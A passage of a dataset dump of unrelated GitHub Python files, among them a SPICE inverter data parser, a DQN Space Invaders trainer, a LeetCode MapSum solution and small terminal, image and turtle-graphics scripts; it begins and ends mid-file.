np.array(S['sigma'])\n\tmu_star_conf = np.array(S['mu_star_conf'])\n\n\tprint('GSA - Elapsed time: {:.4f} sec'.format(timeit.default_timer() - start_time))\n\n\tnp.savetxt(path + 'feature_'+ str(idx_feature) + '_mu.txt', mu.reshape(1,problem['num_vars']), fmt='%.6f')\n\tnp.savetxt(path + 'feature_'+ str(idx_feature) + '_mu_star.txt', mu_star.reshape(1,problem['num_vars']), fmt='%.6f')\n\tnp.savetxt(path + 'feature_'+ str(idx_feature) + '_sigma.txt', sigma.reshape(1,problem['num_vars']), fmt='%.6f')\n\tnp.savetxt(path + 'feature_'+ str(idx_feature) + '_mu_star_conf.txt', mu_star_conf.reshape(1,problem['num_vars']), fmt='%.6f')","repo_name":"CEMRG-publications/Strocchi_2023_PLoSCompBio","sub_path":"GSA_library/morris.py","file_name":"morris.py","file_ext":"py","file_size_in_byte":7110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43062359682","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nto_num = {'i': 1, 'ii': 2, 'iii': 3, 'iv': 4, 'v': 5, 'vi': 6, 'vii': 7}\n\ndef plot(l, vil, vil_i, text):\n    return None\n    plt.plot(vil, l[0][vil_i], 'r.')\n    plt.plot([0, vil], [l[0][vil_i], l[0][vil_i]], 'g--', linewidth=0.5)\n    plt.plot([vil, vil], [0, l[0][vil_i]], 'g--', linewidth=0.5)\n    plt.text(vil -.1, -0.25, text, fontsize=8)\n    plt.text(-.3, l[0][vil_i] -.08, \"%.2f\" % l[0][vil_i], fontsize=8)\n\ndef plot_vm(l, vil, text):\n    return None\n    plt.plot(vil, vil, 'r.')\n    plt.plot([0, vil], [vil, vil], 'g--', linewidth=0.5)\n    plt.plot([vil, vil], [0, vil], 'g--', linewidth=0.5)\n    plt.text(vil -.1, -0.25, text, fontsize=8)\n    plt.text(-.3, vil -.08, str(vil), fontsize=8)\n\n\nclass ESpice:\n    \"\"\" EgemenSPICE for the rescue. \"\"\"\n    T_PAST = 0.\n    V_PAST = 0.\n    EPS = 1E-6\n\n    def __init__(self, flist):\n        self.flist = flist\n        self.data = {}\n        self._parse()\n        self.res = {}\n\n    def calc_data(self, vpath, tpath):\n        vp = open(vpath, 'w')\n        tp = open(tpath, 'w')\n        for part in self.data:\n            p = to_num[part]\n            voltage_char = []\n            for mode in self.data[part]:\n                if mode == 'vin':\n                    l = self.data[part][mode]\n                    vil, vih, vil_i, vih_i = self._get_vil_vih(l)\n                    vol, voh, vol_i, voh_i = self._get_vol_voh(l)\n                    vm, vm_i = self._get_vm(l)\n                    nmh = self._get_nmh(voh, vih)\n                    nml = self._get_nml(vil, vol)\n                    s = \"\\t\".join(map(str, [p, vil, vih, vol, voh, vm, nmh, nml]))\n                    vp.write(s + '\\n')\n                    plt.title('Q3%s V_{out} vs V_{in} Plot' % part)\n                    plt.ylabel('V_{out} (Volts)')\n                    plt.xlabel('V_{in} (Volts)')\n                    plt.grid()\n                    plt.plot(l[1], l[0], 'b-')\n                    plot(l, vil, vil_i, 'V_IL')\n                    plot(l, vih, vih_i, 'V_IH')\n                    plot_vm(l, vm, 'Vm')\n                    plt.ylim(0, max(l[1])+0.04)\n                    plt.xlim(0, max(l[1]))\n                    plt.savefig('plots/q3%s.png' % part)\n                    plt.close()\n                else:\n                    for freq in self.data[part][mode]:\n                        f = freq * 1000\n                        for cap in self.data[part][mode][freq]:\n                            c = cap * 1e-12\n                            l = self.data[part][mode][freq][cap]\n                            ft, rt, mft, mrt = self._get_times(l, f)\n                            mof = self._get_mof(rt, ft)\n                            lhp, hlp = self._get_lhp_hlp(mft, mrt, f)\n                            spd = self._get_static_power_dissipation()\n                            dpd = self._get_dynamic_power_dissipation(f, c, l)\n                            mof /= 1e6 # in MHz\n                            s = \"\\t\".join(map(str, [p, freq, cap, ft, rt, mof, lhp, hlp, spd, dpd]))\n                            tp.write(s + '\\n')\n    def _parse(self):\n        for f in flist:\n            fname = f.split('/')[-1]\n            if 'txt' not in fname:\n                continue\n            details = fname[1:-4].split('_')\n            part, misc = details[0], details[1]\n            if part not in self.data:\n                self.data[part] = {\n                    'freq':\n                        { # freq values\n                            1: {1: [], 10: [], 100:[]}, # cap values\n                            10: {1: [], 10: [], 100:[]}, # cap values\n                            100: {1: [], 10: [], 100:[]}, # cap values\n                        },\n                    'vin': []}\n            if 'khz' in misc:\n                mode = 'freq'\n                freq = int(misc[:-3])\n                logger = self.data[part][mode][freq]\n            else:\n                mode = 'vin'\n                logger = self.data[part][mode]\n            with open(f, 'r') as foo:\n                address = logger\n                cap_index = 0\n                for line in foo:\n                    code = line.rstrip().split()\n                    if code[0] in ['time', 'vin', 'v2']:\n                        continue\n                    elif code[0] == '0.000000000000000e+000':\n                        cap = [1, 10, 100][cap_index]\n                        cap_index += 1\n                        if mode == 'freq':\n                            address = logger[cap]\n                    else:\n                        address.append(list(map(float, code)))\n        for part in self.data:\n            for mode in self.data[part]:\n                if mode == 'vin':\n                    vin, vout = self._wrap(self.data[part][mode])\n                    self.data[part][mode] = [vout, vin, self._deriv(vout, vin)]\n                    self.data[part][mode] = self._truncate_v(self.data[part][mode])\n                    continue\n                for freq in self.data[part][mode]:\n                    for cap in self.data[part][mode][freq]:\n                        t, v = self._wrap(self.data[part][mode][freq][cap])\n                        self.data[part][mode][freq][cap] = [v, t, self._deriv(v, t)]\n                        self.data[part][mode][freq][cap] = self._truncate_to_period(\n                            self.data[part][mode][freq][cap],\n                            freq * 1000)\n\n    def _get_static_power_dissipation(self):\n        return 0\n\n    def _get_dynamic_power_dissipation(self, freq, cap, l):\n        [vo, vi, d] = l\n        mv = np.max(vo)\n        return freq * cap * mv**2\n\n    def _get_lhp_hlp(self, mft, mrt, freq):\n        period = 1. / freq\n        hlp = mft\n        lhp = mrt - 0.5 * period\n        return lhp, hlp\n\n    def _get_mof(self, rise_time, fall_time):\n        return 0.5 / max(rise_time, fall_time)\n\n    def _get_times(self, l, freq):\n        [v, t, d] = l\n        period = 1. / freq\n        if max(v) > 6:\n            mv = 12.\n        else:\n            mv = 5.\n        fmindex = np.argmin(abs(v[:len(v)//2]- mv * 0.9))\n        fmaxdex = np.argmin(abs(v[:len(v)//2]- mv * 0.1))\n\n        rmaxdex  = np.argmin(abs(v[len(v)//2:]- mv * 0.9))\n        rmindex  = np.argmin(abs(v[len(v)//2:]- mv * 0.1))\n        fall_time = t[fmaxdex] - t[fmindex]\n        mid_fall_time = 0.5 * (t[fmaxdex] + t[fmindex])\n        rise_time = t[rmaxdex + len(v)//2] - t[rmindex + len(v)//2]\n        mid_rise_time = 0.5 * (t[rmaxdex + len(v)//2] + t[rmindex + len(v)//2])\n        return fall_time, rise_time, mid_fall_time, mid_rise_time\n\n    def _get_nmh(self, voh, vih):\n        return vih - voh\n\n    def _get_nml(self, vol, vil):\n        return vol - vil\n\n    def _get_vol_voh(self, l):\n        [vo, vi, d] = l\n        m = min(vo)\n        mi = np.argmin(vo)\n        mai = np.argmax(vo)\n        if m < self.EPS:\n            m = 0\n        return m, max(vo), mi, mai\n\n    def _get_vm(self, l):\n        [vo, vi, d] = l\n        index = np.argmin(abs(vo - vi))\n        return vi[index], index\n\n    def _get_vil_vih(self, l):\n        [vo, vi, d] = l\n        foo = 1 + d\n        indexes, = np.where(foo < self.EPS)\n        low, high = self._separate_indexes(indexes, d)\n        vil = vi[low]\n        vih = vi[high]\n        return vil, vih, low, high\n\n    def _separate_indexes(self, indexes, d):\n        low = []\n        high = []\n        for i, index in enumerate(indexes):\n            if index < len(d) / 2:\n                low.append(index)\n            else:\n                high = indexes[i:]\n                break\n        low_i = int(np.median(low))\n        high_i = int(np.median(high))\n        return (low_i, high_i)\n\n    def _wrap(self, x):\n        a, b = tuple(zip(*x))\n        return np.array(a), np.array(b)\n\n    def _deriv(self, y, x):\n        # dy / dx\n        y = [y[0]] + y\n        x = [x[0]] + x\n\n        dy = self._sliding_difference(y)\n        dx = self._sliding_difference(x)\n\n        return dy / (dx + self.EPS)\n\n    def _sliding_difference(self, x):\n        foo = []\n        for i in range(len(x)-1):\n            foo.append(x[i+1] - x[i])\n        return np.array(foo)\n\n    def _truncate_to_period(self, l, freq):\n        [v, t, d] = l\n        period = 1. / freq\n        for i in range(len(t)):\n            if t[i] > period:\n                break\n        return [v[:i], t[:i], d[:i]]\n\n    def _truncate_v(self, l):\n        [vo, vi, q] = l\n        d = max(vi)\n        for i, e in enumerate(vi):\n            if e == d:\n                break\n        return [vo[:i+1], vi[:i+1], q[:i+1]]\n\nif __name__ == '__main__':\n    import glob\n    flist = glob.glob('./*')\n    p = ESpice(flist)\n    p.calc_data('voltage_char.tsv', 'time_power_char.tsv')\n","repo_name":"egemensert/bizi_lab_buraya_getirdi","sub_path":"pre.py","file_name":"pre.py","file_ext":"py","file_size_in_byte":8683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"10759344044","text":"from collections import defaultdict\nfrom numpy import fft\n\nfrom activeNote import ActiveNote\nfrom noteProcessors.abstractNoteProcessor import AbstractNoteProcessor\nfrom noteProcessors.discreteNoteProcessor.baseShapeStrategy import BaseShapeStrategy\nfrom noteProcessors.discreteNoteProcessor.shapeStrategies import FilterShapeStrategy\nimport utils\n\n\n\n# An interval property holds information regarding a segment of data samples,\n# including the fourier transform and the time it corresponds to.\nclass IntervalProperty:\n\tdef __init__(self, fourierTransform):\n\t\tself.fourierTransform = fourierTransform\n\t\tself.startTime = None\n\t\tself.endTime = None\n\n\tdef setTimeRange(self, startTime, endTime):\n\t\tself.startTime = startTime\n\t\tself.endTime = endTime\n\n\n# This note processor strategy uses a non-continuous way to find notes.\n# The original sound samples are split into numerous time-chunks.\n# Frequency is calculated within each time chunk and visualised/analysed using a 2d array.\n# The analysis/processing strategy within the 2d array is isolated in class ShapeStrategy\n\nclass DiscreteNoteProcessor(AbstractNoteProcessor):\n\tdef __init__(self, waveform, sampleRate, noteParser=None, shapeStrategy=None):\n\t\tsuper(DiscreteNoteProcessor, self).__init__(waveform, sampleRate, noteParser)\n\n\t\t# Number of intervals per second\n\t\t# Too high means inaccurate perceived frequencies, too low means inacurate time periods\n\t\t# Ideally, this should come from a beat processor because it could improve accuracy.\n\t\tself.intervalsPerSecond = 20\n\t\tself.offset = 0\n\t\t# Idea 2: we can do 2 passes, one with low intervalsPerSecond and one with high intervalsPerSecond and \n\t\t# it could give us better time and frequency precision\n\n\t\tself.samplesPerInterval = int(self.sampleRate / self.intervalsPerSecond)\t# Note that intervalsPerSecond is approximate value\n\t\tself.shapeStrategy = shapeStrategy(self.sampleRate, self.samplesPerInterval) or FilterShapeStrategy(self.sampleRate, self.samplesPerInterval)\n\n\n\n\n\n\t# Here we want to do some filtering based off the shape list.\n\tdef getActiveNotesFromShapeList(self, shapeList):\n\t\tactiveNotes = []\n\t\tlargestMagnitude = max([s.magnitude for s in shapeList])\n\t\tfor shape in shapeList:\n\t\t\tfrequency = shape.centerOfMass * self.sampleRate / self.samplesPerInterval\n\t\t\tclosestNote, diffPercent = self.getClosestNote(frequency)\n\n\t\t\t# Creates a note with start and end times. Loudness is approximated here.\n\t\t\t# TODO: Find the exact relation between loudness & velocity of note (as used by midi files)\n\t\t\ta = ActiveNote(closestNote, \n\t\t\t\tshape.timeIndexStart * self.samplesPerInterval / self.sampleRate, \n\t\t\t\tshape.timeIndexEnd * self.samplesPerInterval / self.sampleRate, \n\t\t\t\t(shape.magnitude ** 0.5 / largestMagnitude ** 0.5) * 100)\n\t\t\tactiveNotes.append(a)\n\n\t\treturn activeNotes\n\n\n\tdef getIntervalProperty(self, interval):\n\t\treturn IntervalProperty(fft.fft(interval))\n\n\tdef getIntervalPropertyList(self, waveform):\n\t\t# Split entire waveform into several \"intervals\" by time.\n\t\tintervalPropertyList = []\n\t\tfor i in range(0, int(len(waveform) / self.samplesPerInterval)):\n\t\t\tstartIndex = i * self.samplesPerInterval\n\t\t\tendIndex = (i + 1) * self.samplesPerInterval\n\t\t\tintervalProperty = self.getIntervalProperty(waveform[startIndex : endIndex])\n\t\t\tintervalProperty.setTimeRange(startIndex / self.sampleRate, endIndex / self.sampleRate)\n\t\t\tintervalPropertyList.append(intervalProperty)\n\n\t\treturn intervalPropertyList\n\n\n\tdef getActiveNotesFromIntervalPropertyList(self, intervalPropertyList):\n\t\ttimeFrequencyArray = []\n\t\tfor intervalProperty in intervalPropertyList:\n\t\t\tmodifiedFourierTransform = [abs(a) for a in intervalProperty.fourierTransform][: self.samplesPerInterval // 2]\n\t\t\ttimeFrequencyArray.append(modifiedFourierTransform)\n\n\t\tshapeList = self.shapeStrategy.getShapeList(timeFrequencyArray)\n\n\t\t# Debug plots.\n\t\t# values.png will store the 2dArray of the frequency values.\n\t\t# shape.png will store the filtered list of \"shapes\" from the original frequency vales.\n\t\t# A shape is a consecutive cluster of 2dArray elements that will be grouped into one note.\n\t\tutils.d2Plot(timeFrequencyArray, \"out/values.png\")\n\t\tshapeArray = [[0 for i in range(len(timeFrequencyArray[0]))] for j in range(len(timeFrequencyArray))]\n\t\tfor shape in shapeList:\n\t\t\tif shape.isBaseCandidate:\n\t\t\t\tfreq = int(round(shape.centerOfMass))\n\t\t\t\tfor i in range(len(shape.magnitudeByTime)):\n\t\t\t\t\tif shapeArray[i + shape.timeIndexStart][freq] < shape.magnitudeByTime[i]:\n\t\t\t\t\t\tshapeArray[i + shape.timeIndexStart][freq] = shape.magnitudeByTime[i]\n\t\tutils.d2Plot(shapeArray, \"out/shape.png\")\n\n\t\tactiveNotes = self.getActiveNotesFromShapeList(shapeList)\n\t\treturn activeNotes\n\n\tdef run(self):\n\t\t# Superimpose all channels into one waveform.\n\t\tsampleOffset = round(self.sampleRate * self.offset)\n\t\tintervalPropertyList = self.getIntervalPropertyList(self.waveform[sampleOffset:])\n\t\treturn self.getActiveNotesFromIntervalPropertyList(intervalPropertyList)\n","repo_name":"wikemang/simpleMidiConverter","sub_path":"noteProcessors/discreteNoteProcessor/discreteNoteProcessor.py","file_name":"discreteNoteProcessor.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4142643444","text":"import numpy as np\r\nimport random\r\nimport math\r\nimport time\r\n\r\nfrom collections import deque\r\n\r\nimport matplotlib\r\nimport matplotlib.pyplot\r\n\r\nimport tensorflow as tf\r\nimport gym\r\n\r\nimport cv2 as cv\r\n\r\ngpus = tf.config.list_physical_devices('GPU')\r\nprint(gpus)\r\ntry:\r\n  tf.config.experimental.set_memory_growth(gpus[0], True)\r\nexcept:\r\n  print(\"Set error\")\r\n\r\nenvName = \"SpaceInvaders-v0\"\r\n\r\nenv = gym.make(envName)\r\nstate = env.reset()\r\n\r\ndef preprocess(frame):\r\n    img = cv.cvtColor(frame, cv.COLOR_RGB2GRAY)\r\n    img = cv.resize(img, (80, 105))\r\n    return tf.expand_dims(img.astype(np.float32), axis=-1)/(255.0)\r\n\r\nclass DQN(tf.keras.Model):\r\n    def __init__(self):\r\n        super(DQN, self).__init__()\r\n        self.conv1 = tf.keras.layers.Conv2D(4, (4,4), activation='relu', padding='same')\r\n        self.conv2 = tf.keras.layers.Conv2D(4, (4,4), activation='relu', padding='same')\r\n        self.pool1 = tf.keras.layers.MaxPool2D()\r\n        self.flat1 = tf.keras.layers.Flatten()\r\n        self.dense1 = tf.keras.layers.Dense(32, activation=\"relu\")\r\n        self.drop1 = tf.keras.layers.Dropout(0.3)\r\n        self.dense2 = tf.keras.layers.Dense(6)\r\n\r\n    def call(self, x):\r\n        x = self.conv1(x)\r\n        x = self.conv2(x)\r\n        x = self.pool1(x)\r\n        x = self.flat1(x)\r\n        x = self.dense1(x)\r\n        x = self.drop1(x)\r\n        return self.dense2(x)\r\n\r\nmainNet = DQN()\r\ntargetNet = DQN()\r\n\r\noptimizer = tf.optimizers.Adam(1e-4)\r\nmse = tf.keras.losses.MeanSquaredError()\r\n\r\n#tf.keras.utils.plot_model(mainNet)\r\nmainNet.build((None, 105, 80, 1))\r\n\r\n#tf.keras.utils.plot_model(targetNet)\r\n\r\nclass ReplayBuffer(object):\r\n    def __init__(self, size):\r\n        self.buffer = deque(maxlen=size)\r\n    \r\n    def add(self, state, action, reward, nextState, done):\r\n        self.buffer.append((state, action, reward, nextState, done))\r\n    \r\n    def __len__(self):\r\n        return len(self.buffer)\r\n    \r\n    def sample(self, n):\r\n        states, actions, rewards, nextStates, dones = [], [], [], [], []\r\n        ind = np.random.choice(len(self.buffer), n)\r\n        for i in ind:\r\n            elem = self.buffer[i]\r\n            state, action, reward, nextState, done = elem\r\n            states.append(np.array(state,copy=False))\r\n            actions.append(np.array(action, copy=False))\r\n            rewards.append(reward)\r\n            nextStates.append(np.array(nextState, copy=False))\r\n            dones.append(done)\r\n        states = np.array(states)\r\n        actions = np.array(actions)\r\n        rewards = np.array(rewards, dtype=np.float32)\r\n        nextStates = np.array(nextStates)\r\n        dones = np.array(dones, dtype=np.float32)\r\n        \r\n        return states, actions, rewards, nextStates, dones\r\n\r\ndef selectAction(state, epsilon):\r\n    r = tf.random.uniform((1,))\r\n    if(r < epsilon):\r\n        return env.action_space.sample()\r\n    else:\r\n        return tf.argmax(mainNet(state)[0]).numpy()\r\n\r\n@tf.function\r\ndef trainStep(states, actions, rewards, nextStates, dones):\r\n    \r\n    nextQs = targetNet(nextStates)\r\n    maxNextQs = tf.reduce_max(nextQs, axis=-1)\r\n    target = rewards + (1. - dones) * discount * maxNextQs\r\n    \r\n    with tf.GradientTape() as tape:\r\n        qs = mainNet(states)\r\n        actionsMask = tf.one_hot(actions, 6)\r\n        maskedQs = tf.reduce_sum(actionsMask * qs, axis=-1)\r\n        loss = mse(target, maskedQs)\r\n        \r\n    grads = tape.gradient(loss, mainNet.trainable_variables)\r\n    optimizer.apply_gradients(zip(grads, mainNet.trainable_variables))\r\n\r\n    return loss\r\n\r\nnumEpisode = 250\r\nepsilon = 0.9\r\nbatchSize = 16\r\ndiscount = 0.99\r\nbuffer = ReplayBuffer(100000)\r\ncurFrame = 0\r\nepRecord = []\r\n\r\nc = 0\r\nenv = gym.make(envName)\r\n\r\nfor i in range(numEpisode):\r\n    state = env.reset()\r\n    state = preprocess(env.render(mode='rgb_array'))\r\n    epReward, done = 0.0, False\r\n    \r\n    while(not done):\r\n        stateIn = tf.expand_dims(state, axis=0)\r\n        action = selectAction(stateIn, epsilon)\r\n        nextState, reward, done, info = env.step(action)\r\n        nextState = preprocess(env.render(mode='rgb_array'))\r\n        epReward += reward\r\n        \r\n        buffer.add(state, action, reward, nextState, done)\r\n        state = nextState\r\n        \r\n        curFrame += 1\r\n        \r\n        if(curFrame % 5000 == 0):\r\n            targetNet.set_weights(mainNet.get_weights())\r\n        \r\n        if(len(buffer) >= batchSize):\r\n            states, actions, rewards, nextStates, dones = buffer.sample(batchSize)\r\n            loss = trainStep(states, actions, rewards, nextStates, dones)\r\n\r\n    if((i+1) % 3):\r\n        if(epsilon > 0.05):\r\n            epsilon -= 0.0025\r\n    \r\n    if(len(epRecord) == 50):\r\n        epRecord = epRecord[1:]\r\n    epRecord.append(epReward)\r\n    \r\n    if((i+1) % 5 == 0):\r\n        print(f\"Episode: {i+1}/{numEpisode}  Epsilon: {epsilon:.3f} 50 Last Reward : {np.mean(epRecord):.3f}\")\r\n\r\n    if((i+1)%10 == 0):\r\n        mainNet.save_weights(f\"weightMMM\\weight{c}\")\r\n        targetNet.save_weights(f\"weightTTT\\weight{c}\")\r\n\r\n        print(f\"Save Weight {c}\")\r\n        c += 1\r\n\r\nenv.reset()\r\ndone = 0\r\ntotalRew = 0\r\nstate = preprocess(env.render(mode='rgb_array'))\r\nwhile(not done):\r\n    state = tf.expand_dims(state, axis=0)\r\n    action = selectAction(state, 0.01)\r\n    sate, rew, done, info = env.step(action)\r\n    env.render()\r\n    totalRew += rew\r\n    state = preprocess(state)\r\n\r\nenv.reset()\r\nenv.close()","repo_name":"zhenwei2972/Ntu_SpaceInvaders","sub_path":"DQN3.py","file_name":"DQN3.py","file_ext":"py","file_size_in_byte":5397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38113590811","text":"#!/usr/bin/env python3\nimport jump_man\nimport jm_env\nimport subprocess\nimport random\nimport shutil\nimport time\nimport sys\n\n#Erase the printed text by moving the courser up one\n#@param s_state is starting state\ndef erase_jm(amount, s_state=False):\n    i = 0\n    sys.stdout.write(u'\\u001b[' + str(amount+3) + 'B')\n    if not s_state:\n        while i <= amount:\n            sys.stdout.write('\\x1b[2K')\n            sys.stdout.write(u'\\u001b[' + str(0) + 'A') #Move courser up by one\n            sys.stdout.write('\\x1b[2K')\n            i += 1\n        sys.stdout.write(u'\\u001b[' + str(amount+3) + 'B')\n    else:\n        while i <= amount + 3:\n            sys.stdout.write('\\x1b[2K')\n            sys.stdout.write(u'\\u001b[' + str(0) + 'A')\n            sys.stdout.write('\\x1b[2K')\n            i += 1\n\n\n#wrapper function to the jumpman class\ndef jump(count, ceil_h, x_pos, hdist):\n    s_area = shutil.get_terminal_size().columns\n    pos = s_area - (s_area - x_pos)\n    stage = jm_env.env(s_area)\n    men = []\n    stage.print_lines()\n    sys.stdout.write(u'\\u001b[' + str(3) + 'A')\n    for i in range(count):\n        men.append(jump_man.Player(ceil_h, x_pos, hdist)) #args are:  ceiling height, x_pos, dist from head to ceil.\n\n    player = []\n    for i in range(count):\n        men[i].set_ypos(i)\n        player.append(men[i].get_head())\n        player.append(men[i].get_middle())\n        player.append(men[i].get_tail())\n        men[i].print_at_pos(player, 2, -ceil_h, False, True)\n\n    sys.stdout.flush()\n    time.sleep(1)\n    erase_jm(ceil_h, False)\n    time.sleep(1)\n    sys.stdout.write(u'\\u001b[' + str(s_area) + 'D')\n    sys.stdout.write(u'\\u001b[' + str(3) + 'A')\n    sys.stdout.flush()\n\n    for i in range(count):\n        num = list(range(1, ceil_h))\n        random.shuffle(num)\n        y = num.pop()\n        men[i].set_ypos(y)\n        men[i].print_at_pos(player, 2, y+2, False, True)\n\n    sys.stdout.flush()\n    time.sleep(1)\n    sys.stdout.write(u'\\u001b[' + str(s_area + 3) + 'D')\n\nif __name__=='__main__':\n    subprocess.run(['clear'])\n    for i in range(3):\n        jump(7, 20, 10, 10) #args are count, ceil_h, x_pos, hdist\n        subprocess.run(['clear'])\n\n    for i in range(3):\n        jump(7, 30, 10, 10)\n        subprocess.run(['clear'])\n","repo_name":"xylo99/jumpman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29899963810","text":"# 677. Map Sum Pairs\n# ttungl@gmail.com\n\n# Implement a MapSum class with insert, and sum methods.\n\n# For the method insert, you'll be given a pair of (string, integer). The string represents the key and the integer represents the value. If the key already existed, then the original key-value pair will be overridden to the new one.\n\n# For the method sum, you'll be given a string representing the prefix, and you need to return the sum of all the pairs' value whose key starts with the prefix.\n\n# Example 1:\n# Input: insert(\"apple\", 3), Output: Null\n# Input: sum(\"ap\"), Output: 3\n# Input: insert(\"app\", 2), Output: Null\n# Input: sum(\"ap\"), Output: 5\n\n\n\n# sol 1\n# runtime: 38ms\nclass TrieNode(object):\n    def __init__(self, v=0):\n        \"\"\"\n        Initialize your data structure here.\n        \"\"\"\n        self.children = collections.defaultdict()\n        self.count = v\n        \n        \nclass MapSum(object):\n\n    def __init__(self):\n        \"\"\"\n        Initialize your data structure here.\n        \"\"\"\n        self.root = TrieNode()\n        self.keys = collections.defaultdict()\n\n    def insert(self, key, val):\n        \"\"\"\n        :type key: str\n        :type val: int\n        :rtype: void\n        \"\"\"\n        node = self.root\n        diff = val - self.keys.get(key, 0)\n        self.keys[key] = val\n        \n        for c in key:\n            if c not in node.children:\n                node.children[c] = TrieNode()\n            node = node.children[c]\n            node.count += diff\n\n    def sum(self, prefix):\n        \"\"\"\n        :type prefix: str\n        :rtype: int\n        \"\"\"\n        node = self.root\n        for c in prefix:\n            if c not in node.children:\n                return 0\n            node = node.children[c]\n        return node.count\n                \n                \n# sol 2:\n# runtime: 31ms\nclass MapSum(object):\n\n    def __init__(self):\n        \"\"\"\n        Initialize your data structure here.\n        \"\"\"\n        self.x = {}\n        \n\n    def insert(self, key, val):\n        \"\"\"\n        :type key: str\n        :type val: int\n        :rtype: void\n        \"\"\"\n        self.x[key] = val\n\n    def sum(self, prefix):\n        \"\"\"\n        :type prefix: str\n        :rtype: int\n        \"\"\"\n        a = 0\n        for i in self.x.keys():\n            if i[:len(prefix)] == prefix:\n                a+=self.x[i]\n        return a\n\n\n\n# Your MapSum object will be instantiated and called as such:\n# obj = MapSum()\n# obj.insert(key,val)\n# param_2 = obj.sum(prefix)\n\n","repo_name":"ttungl/Coding-Interview-Challenge","sub_path":"source-code/Map Sum Pairs 677.py","file_name":"Map Sum Pairs 677.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19587447829","text":"\"\"\"\nA script for generating black borders around images found\nin the current directory. Does not delete original images.\n\"\"\"\n\n\nimport os\nimport glob\nfrom PIL import Image, ImageOps\n\n\nFOLDER = 'images_with_blackborder'\n\nif not os.path.exists(FOLDER):\n    os.mkdir(FOLDER)\n\nimages = glob.glob('*.png')\nimages.sort(key=os.path.getmtime)\nfor file in images:\n    ImageOps.expand(Image.open(file), border=5, fill='black').save(os.path.join(FOLDER, file))\n","repo_name":"nicolaskyejo/notes_template","sub_path":"helper_scripts/image_blackborder.py","file_name":"image_blackborder.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17727234821","text":"from pathlib import Path\nimport subprocess\nimport time\nimport unittest\n\nimport python.utils.actor\nimport python.utils.client\n\n\nclass ClientTest(unittest.TestCase):\n    def setUp(self):\n        # carla_bin = Path('Simulators/Carla-0.9.9/CarlaUE4.sh')\n        # home_dir = Path.home()\n        # print(home_dir / carla_bin)\n        # subprocess.Popen(\n        #     [\n        #         'bash',\n        #         str(home_dir / carla_bin),\n        #         '-windowed',\n        #         '-ResX=1280',\n        #         '-ResY=720',\n        #         '-fps=60'\n        #     ],\n        #     stdout=subprocess.PIPE,\n        #     stderr=subprocess.PIPE\n        # )\n        # time.sleep(10.0)\n        self.host = 'localhost'\n        self.port = 2000\n        self.timeout = 10.0\n        self.map_name = 'Town04'\n        self.client = python.utils.client.create(\n            self.host,\n            self.port,\n            self.timeout,\n            self.map_name\n        )\n\n    def tearDown(self):\n        self.client = None\n\n    def test_create(self):\n        carla_map = self.client.get_world().get_map()\n        # self.assertEqual(self.client.get_timeout(), self.timeout)\n        self.assertEqual(carla_map.name, self.map_name)\n","repo_name":"exoticDFT/stanford-carla-toolbox","sub_path":"python/tests/utils_tests.py","file_name":"utils_tests.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"30245168738","text":"import turtle\n\ndef turtle_triangle(Tt, level, dist):\n    if level == 0:\n        Tt.pendown()\n        Tt.begin_fill()\n        for _ in range(3):\n            Tt.forward(dist)\n            Tt.left(120)\n        Tt.end_fill()\n        Tt.penup()\n    else:\n        for _ in range(3):\n            turtle_triangle(Tt, level-1, dist/2)\n            Tt.forward(dist)\n            Tt.left(120)\n\nwindow = turtle.Screen()\n\nTt = turtle.Turtle()\n#Tt.speed(10)\nTt.shape(\"turtle\")\nTt.color(\"green\")\n\nturtle_triangle(Tt, 1, 300)\n\nwindow.exitonclick()","repo_name":"Letty51/python_learn","sub_path":"turtle_triangle.py","file_name":"turtle_triangle.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28869360078","text":"##Classe\nclass TV:\n    def __init__(self, volume, canal):\n        self.volume = volume\n        self.canal = canal\n\n    def AumentarVolume(self):\n        if self.volume == 50:\n            print('Limite máximo atingido.')\n        else:\n            self.volume += 1\n\n    def DiminuirVolume(self):\n        if self.volume == 0:\n            print('Limite mínimo atingido.')\n        else:\n            self.volume -= 1\n\n    def MudardeCanal(self):\n        while True:\n            canal = int(input('Digite um canal: '))\n            if canal > 50:\n                print('O limite máximo é 50.')\n            elif canal < 1:\n                print('O limite mínimo é 1.')\n            else:\n                break\n        self.canal = canal\n##Funções\nfrom time import sleep\ndef menu():\n    print('------------------------')\n    print(f'{\"Volume\":<7} - {tv1.volume:^4}')\n    print(f'{\"Canal\":<7} - {tv1.canal:^4}')\n    print('------------------------')\n    print('[1] Aumentar Volume')\n    print('[2] Diminuir Volume')\n    print('[3] Mudar de Canal')\n    print('------------------------')\n    try:\n        opçao = int(input('Digite uma opção: '))\n    except ValueError:\n        print('Tipo inválido! Tente novamente.')\n    else:\n        if opçao == 1:\n            try:\n                TV.AumentarVolume(tv1)\n            except:\n                print('Houve um erro!')\n        elif opçao == 2:\n            try:\n                TV.DiminuirVolume(tv1)\n            except:\n                print('Houve um erro!')\n        elif opçao == 3:\n            try:\n                TV.MudardeCanal(tv1)\n            except:\n                print('Houve um erro!')\n        elif opçao > 3 or opçao < 1:\n            print('Opção inválida. Tente novamente.')\n    finally:\n        menu()\n\nwhile True:\n    try:\n        c = int(input('Informe o canal: '))\n    except ValueError:\n        print('Tipo inválido! Tente novamente.')\n    else:\n        if c > 50:\n            print('O limite máximo é 50.')\n        elif c < 1:\n            print('O limite mínimo é 1.')\n        